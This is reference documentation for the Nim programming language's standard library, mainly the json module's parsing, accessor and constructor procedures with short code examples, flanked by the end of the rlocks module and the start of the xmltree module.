[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/rlocks.nim#L40) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/rlocks.nim#L40) ``` proc release(lock: var RLock) {...}{.raises: [], tags: [].} ``` Releases the given lock. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/rlocks.nim#L44) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/rlocks.nim#L44) Templates --------- ``` template withRLock(lock: var RLock; code: untyped): untyped ``` Acquires the given lock and then executes the code. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/rlocks.nim#L48) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/rlocks.nim#L48) nim json json ==== This module implements a simple high performance JSON parser. JSON (JavaScript Object Notation) is a lightweight data-interchange format that is easy for humans to read and write (unlike XML). It is easy for machines to parse and generate. JSON is based on a subset of the JavaScript Programming Language, Standard ECMA-262 3rd Edition - December 1999. Overview -------- ### Parsing JSON JSON often arrives into your program (via an API or a file) as a `string`. The first step is to change it from its serialized form into a nested object structure called a `JsonNode`. The `parseJson` procedure takes a string containing JSON and returns a `JsonNode` object. This is an object variant and it is either a `JObject`, `JArray`, `JString`, `JInt`, `JFloat`, `JBool` or `JNull`. You check the kind of this object variant by using the `kind` accessor. For a `JsonNode` who's kind is `JObject`, you can access its fields using the `[]` operator. The following example shows how to do this: ``` import json let jsonNode = parseJson("""{"key": 3.14}""") doAssert jsonNode.kind == JObject doAssert jsonNode["key"].kind == JFloat ``` ### Reading values Once you have a `JsonNode`, retrieving the values can then be achieved by using one of the helper procedures, which include: * `getInt` * `getFloat` * `getStr` * `getBool` To retrieve the value of `"key"` you can do the following: ``` import json let jsonNode = parseJson("""{"key": 3.14}""") doAssert jsonNode["key"].getFloat() == 3.14 ``` **Important:** The `[]` operator will raise an exception when the specified field does not exist. ### Handling optional keys By using the `{}` operator instead of `[]`, it will return `nil` when the field is not found. The `get`-family of procedures will return a type's default value when called on `nil`. ``` import json let jsonNode = parseJson("{}") doAssert jsonNode{"nope"}.getInt() == 0 doAssert jsonNode{"nope"}.getFloat() == 0 doAssert jsonNode{"nope"}.getStr() == "" doAssert jsonNode{"nope"}.getBool() == false ``` ### Using default values The `get`-family helpers also accept an additional parameter which allow you to fallback to a default value should the key's values be `null`: ``` import json let jsonNode = parseJson("""{"key": 3.14, "key2": null}""") doAssert jsonNode["key"].getFloat(6.28) == 3.14 doAssert jsonNode["key2"].getFloat(3.14) == 3.14 doAssert jsonNode{"nope"}.getFloat(3.14) == 3.14 # note the {} ``` ### Unmarshalling In addition to reading dynamic data, Nim can also unmarshal JSON directly into a type with the `to` macro. Note: Use [Option](options#Option) for keys sometimes missing in json responses, and backticks around keys with a reserved keyword as name. ``` import json import options type User = object name: string age: int `type`: Option[string] let userJson = parseJson("""{ "name": "Nim", "age": 12 }""") let user = to(userJson, User) if user.`type`.isSome(): assert user.`type`.get() != "robot" ``` Creating JSON ------------- This module can also be used to comfortably create JSON using the `%*` operator: ``` import json var hisName = "John" let herAge = 31 var j = %* [ { "name": hisName, "age": 30 }, { "name": "Susan", "age": herAge } ] var j2 = %* {"name": "Isaac", "books": ["Robot Dreams"]} j2["details"] = %* {"age":35, "pi":3.1415} echo j2 ``` See also: std/jsonutils for hookable json serialization/deserialization of arbitrary types. **Example:** ``` ## Note: for JObject, key ordering is preserved, unlike in some languages, ## this is convenient for some use cases. Example: type Foo = object a1, a2, a0, a3, a4: int doAssert $(%* Foo()) == """{"a1":0,"a2":0,"a0":0,"a3":0,"a4":0}""" ``` Imports ------- <hashes>, <tables>, <strutils>, <lexbase>, <streams>, <macros>, <parsejson>, <options>, <since> Types ----- ``` JsonNodeKind = enum JNull, JBool, JInt, JFloat, JString, JObject, JArray ``` possible JSON node types [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L169) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L169) ``` JsonNode = ref JsonNodeObj ``` JSON node [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L178) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L178) ``` JsonNodeObj {...}{.acyclic.} = object isUnquoted: bool case kind*: JsonNodeKind of JString: str*: string of JInt: num*: BiggestInt of JFloat: fnum*: float of JBool: bval*: bool of JNull: nil of JObject: fields*: OrderedTable[string, JsonNode] of JArray: elems*: seq[JsonNode] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L179) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L179) Procs ----- ``` proc newJString(s: string): JsonNode {...}{.raises: [], tags: [].} ``` Creates a new `JString JsonNode`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L198) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L198) ``` proc newJInt(n: BiggestInt): JsonNode {...}{.raises: [], tags: [].} ``` Creates a new `JInt JsonNode`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L213) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L213) ``` proc newJFloat(n: float): JsonNode {...}{.raises: [], tags: [].} ``` Creates a new `JFloat JsonNode`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L217) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L217) ``` proc newJBool(b: bool): JsonNode {...}{.raises: [], tags: [].} ``` Creates a new `JBool JsonNode`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L221) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L221) ``` proc newJNull(): JsonNode {...}{.raises: [], tags: [].} ``` Creates a new `JNull JsonNode`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L225) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L225) ``` proc newJObject(): JsonNode {...}{.raises: [], tags: [].} ``` Creates a new `JObject JsonNode` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L229) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L229) ``` proc newJArray(): JsonNode {...}{.raises: [], tags: [].} ``` Creates a new `JArray JsonNode` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L233) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L233) ``` proc getStr(n: JsonNode; default: string = ""): string {...}{.raises: [], tags: [].} ``` Retrieves the string value of a `JString JsonNode`. Returns `default` if `n` is not a `JString`, or if `n` is nil. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L237) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L237) ``` proc getInt(n: JsonNode; default: int = 0): int {...}{.raises: [], tags: [].} ``` Retrieves the int value of a `JInt JsonNode`. Returns `default` if `n` is not a `JInt`, or if `n` is nil. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L244) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L244) ``` proc getBiggestInt(n: JsonNode; default: BiggestInt = 0): BiggestInt {...}{. raises: [], tags: [].} ``` Retrieves the BiggestInt value of a `JInt JsonNode`. Returns `default` if `n` is not a `JInt`, or if `n` is nil. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L251) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L251) ``` proc getFloat(n: JsonNode; default: float = 0.0): float {...}{.raises: [], tags: [].} ``` Retrieves the float value of a `JFloat JsonNode`. Returns `default` if `n` is not a `JFloat` or `JInt`, or if `n` is nil. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L258) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L258) ``` proc getBool(n: JsonNode; default: bool = false): bool {...}{.raises: [], tags: [].} ``` Retrieves the bool value of a `JBool JsonNode`. Returns `default` if `n` is not a `JBool`, or if `n` is nil. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L268) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L268) ``` proc getFields(n: JsonNode; default = initOrderedTable(2)): OrderedTable[string, JsonNode] {...}{.raises: [], tags: [].} ``` Retrieves the key, value pairs of a `JObject JsonNode`. Returns `default` if `n` is not a `JObject`, or if `n` is nil. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L275) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L275) ``` proc getElems(n: JsonNode; default: seq[JsonNode] = @[]): seq[JsonNode] {...}{. raises: [], tags: [].} ``` Retrieves the array of a `JArray JsonNode`. Returns `default` if `n` is not a `JArray`, or if `n` is nil. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L284) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L284) ``` proc add(father, child: JsonNode) {...}{.raises: [], tags: [].} ``` Adds `child` to a JArray node `father`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L291) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L291) ``` proc add(obj: JsonNode; key: string; val: JsonNode) {...}{.raises: [], tags: [].} ``` Sets a field from a `JObject`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L296) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L296) ``` proc `%`(s: string): JsonNode {...}{.raises: [], tags: [].} ``` Generic constructor for JSON data. Creates a new `JString JsonNode`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L301) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L301) ``` proc `%`(n: uint): JsonNode {...}{.raises: [], tags: [].} ``` Generic constructor for JSON data. Creates a new `JInt JsonNode`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L305) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L305) ``` proc `%`(n: int): JsonNode {...}{.raises: [], tags: [].} ``` Generic constructor for JSON data. Creates a new `JInt JsonNode`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L312) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L312) ``` proc `%`(n: BiggestUInt): JsonNode {...}{.raises: [], tags: [].} ``` Generic constructor for JSON data. Creates a new `JInt JsonNode`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L316) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L316) ``` proc `%`(n: BiggestInt): JsonNode {...}{.raises: [], tags: [].} ``` Generic constructor for JSON data. Creates a new `JInt JsonNode`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L323) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L323) ``` proc `%`(n: float): JsonNode {...}{.raises: [], tags: [].} ``` Generic constructor for JSON data. Creates a new `JFloat JsonNode`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L327) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L327) ``` proc `%`(b: bool): JsonNode {...}{.raises: [], tags: [].} ``` Generic constructor for JSON data. Creates a new `JBool JsonNode`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L331) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L331) ``` proc `%`(keyVals: openArray[tuple[key: string, val: JsonNode]]): JsonNode {...}{. raises: [], tags: [].} ``` Generic constructor for JSON data. Creates a new `JObject JsonNode` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L335) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L335) ``` proc `%`[T](elements: openArray[T]): JsonNode ``` Generic constructor for JSON data. Creates a new `JArray JsonNode` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L343) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L343) ``` proc `%`[T](table: Table[string, T] | OrderedTable[string, T]): JsonNode ``` Generic constructor for JSON data. Creates a new `JObject JsonNode`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L348) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L348) ``` proc `%`[T](opt: Option[T]): JsonNode ``` Generic constructor for JSON data. Creates a new `JNull JsonNode` if `opt` is empty, otherwise it delegates to the underlying value. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L353) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L353) ``` proc `[]=`(obj: JsonNode; key: string; val: JsonNode) {...}{.inline, raises: [], tags: [].} ``` Sets a field from a `JObject`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L371) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L371) ``` proc `%`[T: object](o: T): JsonNode ``` Construct JsonNode from tuples and objects. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L376) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L376) ``` proc `%`(o: ref object): JsonNode ``` Generic constructor for JSON data. Creates a new `JObject JsonNode` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L381) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L381) ``` proc `%`(o: enum): JsonNode ``` Construct a JsonNode that represents the specified enum value as a string. Creates a new `JString JsonNode`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L388) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L388) ``` proc `==`(a, b: JsonNode): bool {...}{.raises: [KeyError], tags: [].} ``` Check two nodes for equality [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L424) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L424) ``` proc hash(n: JsonNode): Hash {...}{.raises: [Exception], tags: [RootEffect].} ``` Compute the hash for a JSON node [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L456) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L456) ``` proc hash(n: OrderedTable[string, JsonNode]): Hash {...}{.noSideEffect, raises: [Exception], tags: [RootEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L474) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L474) ``` proc len(n: JsonNode): int {...}{.raises: [], tags: [].} ``` If `n` is a `JArray`, it returns the number of elements. If `n` is a `JObject`, it returns the number of pairs. Else it returns 0. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L479) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L479) ``` proc `[]`(node: JsonNode; name: string): JsonNode {...}{.inline, raises: [KeyError], tags: [].} ``` Gets a field from a `JObject`, which must not be nil. If the value at `name` does not exist, raises KeyError. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L488) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L488) ``` proc `[]`(node: JsonNode; index: int): JsonNode {...}{.inline, raises: [], tags: [].} ``` Gets the node at `index` in an Array. Result is undefined if `index` is out of bounds, but as long as array bound checks are enabled it will result in an exception. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L497) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L497) ``` proc hasKey(node: JsonNode; key: string): bool {...}{.raises: [], tags: [].} ``` Checks if `key` exists in `node`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L505) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L505) ``` proc contains(node: JsonNode; key: string): bool {...}{.raises: [], tags: [].} ``` Checks if `key` exists in `node`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L510) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L510) ``` proc contains(node: JsonNode; val: JsonNode): bool {...}{.raises: [KeyError], tags: [].} ``` Checks if `val` exists in array `node`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L515) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L515) ``` proc `{}`(node: JsonNode; keys: varargs[string]): JsonNode {...}{.raises: [], tags: [].} ``` Traverses the node and gets the given value. If any of the keys do not exist, returns `nil`. Also returns `nil` if one of the intermediate data structures is not an object. This proc can be used to create tree structures on the fly (sometimes called autovivification): **Example:** ``` var myjson = %* {"parent": {"child": {"grandchild": 1}}} doAssert myjson{"parent", "child", "grandchild"} == newJInt(1) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L520) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L520) ``` proc `{}`(node: JsonNode; index: varargs[int]): JsonNode {...}{.raises: [], tags: [].} ``` Traverses the node and gets the given value. If any of the indexes do not exist, returns `nil`. Also returns `nil` if one of the intermediate data structures is not an array. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L538) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L538) ``` proc getOrDefault(node: JsonNode; key: string): JsonNode {...}{.raises: [], tags: [].} ``` Gets a field from a `node`. If `node` is nil or not an object or value at `key` does not exist, returns nil [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L548) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L548) ``` proc `{}`(node: JsonNode; key: string): JsonNode {...}{.raises: [], tags: [].} ``` Gets a field from a `node`. If `node` is nil or not an object or value at `key` does not exist, returns nil [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L554) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L554) ``` proc `{}=`(node: JsonNode; keys: varargs[string]; value: JsonNode) {...}{. raises: [KeyError], tags: [].} ``` Traverses the node and tries to set the value at the given location to `value`. If any of the keys are missing, they are added. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L559) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L559) ``` proc delete(obj: JsonNode; key: string) {...}{.raises: [KeyError], tags: [].} ``` Deletes `obj[key]`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L569) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L569) ``` proc copy(p: JsonNode): JsonNode {...}{.raises: [], tags: [].} ``` Performs a deep copy of `a`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L576) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L576) ``` proc escapeJsonUnquoted(s: string; result: var string) {...}{.raises: [], tags: [].} ``` Converts a string `s` to its JSON representation without quotes. Appends to `result`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L611) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L611) ``` proc escapeJsonUnquoted(s: string): string {...}{.raises: [], tags: [].} ``` Converts a string `s` to its JSON representation without quotes. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L628) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L628) ``` proc escapeJson(s: string; result: var string) {...}{.raises: [], tags: [].} ``` Converts a string `s` to its JSON representation with quotes. Appends to `result`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L633) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L633) ``` proc escapeJson(s: string): string {...}{.raises: [], tags: [].} ``` Converts a string `s` to its JSON representation with quotes. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L640) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L640) ``` proc pretty(node: JsonNode; indent = 2): string {...}{.raises: [], tags: [].} ``` Returns a JSON Representation of `node`, with indentation and on multiple lines. Similar to prettyprint in Python. **Example:** ``` let j = %* {"name": "Isaac", "books": ["Robot Dreams"], "details": {"age": 35, "pi": 3.1415}} doAssert pretty(j) == """ { "name": "Isaac", "books": [ "Robot Dreams" ], "details": { "age": 35, "pi": 3.1415 } }""" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L707) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L707) ``` proc toUgly(result: var string; node: JsonNode) {...}{.raises: [], tags: [].} ``` Converts `node` to its JSON Representation, without regard for human readability. Meant to improve `$` string conversion performance. JSON representation is stored in the passed `result` This provides higher efficiency than the `pretty` procedure as it does **not** attempt to format the resulting JSON to make it human readable. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L729) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L729) ``` proc `$`(node: JsonNode): string {...}{.raises: [], tags: [].} ``` Converts `node` to its JSON Representation on one line. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L772) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L772) ``` proc parseJson(s: Stream; filename: string = ""; rawIntegers = false; rawFloats = false): JsonNode {...}{.raises: [IOError, OSError, IOError, OSError, JsonParsingError, ValueError, Exception], tags: [ReadIOEffect, WriteIOEffect].} ``` Parses from a stream `s` into a `JsonNode`. `filename` is only needed for nice error messages. If `s` contains extra data, it will raise `JsonParsingError`. This closes the stream `s` after it's done. If `rawIntegers` is true, integer literals will not be converted to a `JInt` field but kept as raw numbers via `JString`. If `rawFloats` is true, floating point literals will not be converted to a `JFloat` field but kept as raw numbers via `JString`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L889) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L889) ``` proc parseJson(buffer: string; rawIntegers = false; rawFloats = false): JsonNode {...}{. raises: [IOError, OSError, JsonParsingError, ValueError, Exception], tags: [ReadIOEffect, WriteIOEffect].} ``` Parses JSON from `buffer`. If `buffer` contains extra data, it will raise `JsonParsingError`. If `rawIntegers` is true, integer literals will not be converted to a `JInt` field but kept as raw numbers via `JString`. If `rawFloats` is true, floating point literals will not be converted to a `JFloat` field but kept as raw numbers via `JString`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L984) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L984) ``` proc parseFile(filename: string): JsonNode {...}{. raises: [IOError, OSError, JsonParsingError, ValueError, Exception], tags: [ReadIOEffect, WriteIOEffect].} ``` Parses `file` into a `JsonNode`. If `file` contains extra data, it will raise `JsonParsingError`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L993) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L993) ``` proc to[T](node: JsonNode; t: typedesc[T]): T ``` Unmarshals the specified node into the object type specified. Known limitations: > > * Heterogeneous arrays are not supported. > * Sets in object variants are not supported. > * Not nil annotations are not supported. > > **Example:** ``` let jsonNode = parseJson(""" { "person": { "name": "Nimmer", "age": 21 }, "list": [1, 2, 3, 4] } """) type Person = object name: string age: int Data = object person: Person list: seq[int] var data = to(jsonNode, Data) doAssert data.person.name == "Nimmer" doAssert data.person.age == 21 doAssert data.list == @[1, 2, 3, 4] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L1268) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L1268) Iterators --------- ``` iterator items(node: JsonNode): JsonNode {...}{.raises: [], tags: [].} ``` Iterator for the items of `node`. `node` has to be a JArray. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L777) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L777) ``` iterator mitems(node: var JsonNode): var JsonNode {...}{.raises: [], tags: [].} ``` Iterator for the items of `node`. `node` has to be a JArray. Items can be modified. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L783) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L783) ``` iterator pairs(node: JsonNode): tuple[key: string, val: JsonNode] {...}{.raises: [], tags: [].} ``` Iterator for the child elements of `node`. `node` has to be a JObject. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L790) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L790) ``` iterator keys(node: JsonNode): string {...}{.raises: [], tags: [].} ``` Iterator for the keys in `node`. `node` has to be a JObject. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L796) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L796) ``` iterator mpairs(node: var JsonNode): tuple[key: string, val: var JsonNode] {...}{. raises: [], tags: [].} ``` Iterator for the child elements of `node`. `node` has to be a JObject. Values can be modified [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L802) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L802) ``` iterator parseJsonFragments(s: Stream; filename: string = ""; rawIntegers = false; rawFloats = false): JsonNode {...}{.raises: [ IOError, OSError, IOError, OSError, JsonParsingError, ValueError, Exception], tags: [ReadIOEffect, WriteIOEffect].} ``` Parses from a stream `s` into `JsonNodes`. `filename` is only needed for nice error messages. The JSON fragments are separated by whitespace. This can be substantially faster than the comparable loop `for x in splitWhitespace(s): yield parseJson(x)`. This closes the stream `s` after it's done. If `rawIntegers` is true, integer literals will not be converted to a `JInt` field but kept as raw numbers via `JString`. If `rawFloats` is true, floating point literals will not be converted to a `JFloat` field but kept as raw numbers via `JString`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L869) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L869) Macros ------ ``` macro `%*`(x: untyped): untyped ``` Convert an expression to a JsonNode directly, without having to specify `%` for every element. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L419) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L419) ``` macro isRefSkipDistinct(arg: typed): untyped ``` internal only, do not use [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L1017) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L1017) Templates --------- ``` template `%`(j: JsonNode): JsonNode ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/json.nim#L341) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/json.nim#L341) Exports ------- [$](tables#%24,Table%5BA,B%5D), [$](tables#%24,TableRef%5BA,B%5D), [$](tables#%24,OrderedTable%5BA,B%5D), [$](tables#%24,OrderedTableRef%5BA,B%5D), [$](tables#%24,CountTable%5BA%5D), [$](tables#%24,CountTableRef%5BA%5D), [JsonEventKind](parsejson#JsonEventKind), [JsonError](parsejson#JsonError), [JsonParser](parsejson#JsonParser), [JsonKindError](parsejson#JsonKindError), [open](io#open,File,string,FileMode,int), [open](io#open,File,FileHandle,FileMode), [open](lexbase#open,BaseLexer,Stream,int,set%5Bchar%5D), [open](io#open,string,FileMode,int), [open](parsejson#open,JsonParser,Stream,string), [close](lexbase#close,BaseLexer), [close](streams#close,Stream), [close](io#close,File), [close](parsejson#close,JsonParser), [str](parsejson#str,JsonParser), [getInt](parsejson#getInt,JsonParser), [getFloat](parsejson#getFloat,JsonParser), [kind](macros#kind,NimNode), [kind](parsejson#kind,JsonParser), [getColumn](parsejson#getColumn,JsonParser), [getLine](parsejson#getLine,JsonParser), [getFilename](parsejson#getFilename,JsonParser), [errorMsg](parsejson#errorMsg,JsonParser), [errorMsgExpected](parsejson#errorMsgExpected,JsonParser,string), [next](parsejson#next,JsonParser), [JsonParsingError](parsejson#JsonParsingError), [raiseParseErr](parsejson#raiseParseErr,JsonParser,string), [nimIdentNormalize](strutils#nimIdentNormalize,string)
programming_docs
nim xmltree xmltree ======= A simple XML tree generator. **Example:** ``` var g = newElement("myTag") g.add newText("some text") g.add newComment("this is comment") var h = newElement("secondTag") h.add newEntity("some entity") let att = {"key1": "first value", "key2": "second value"}.toXmlAttributes let k = newXmlTree("treeTag", [g, h], att) doAssert $k == """<treeTag key1="first value" key2="second value"> <myTag>some text<!-- this is comment --></myTag> <secondTag>&some entity;</secondTag> </treeTag>""" ``` **See also:*** [xmlparser module](xmlparser) for high-level XML parsing * [parsexml module](parsexml) for low-level XML parsing * [htmlgen module](htmlgen) for html code generator Imports ------- <since>, <macros>, <strtabs>, <strutils> Types ----- ``` XmlNode = ref XmlNodeObj ``` An XML tree consisting of XML nodes. Use [newXmlTree proc](#newXmlTree,string,openArray%5BXmlNode%5D,XmlAttributes) for creating a new tree. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/xmltree.nim#L37) 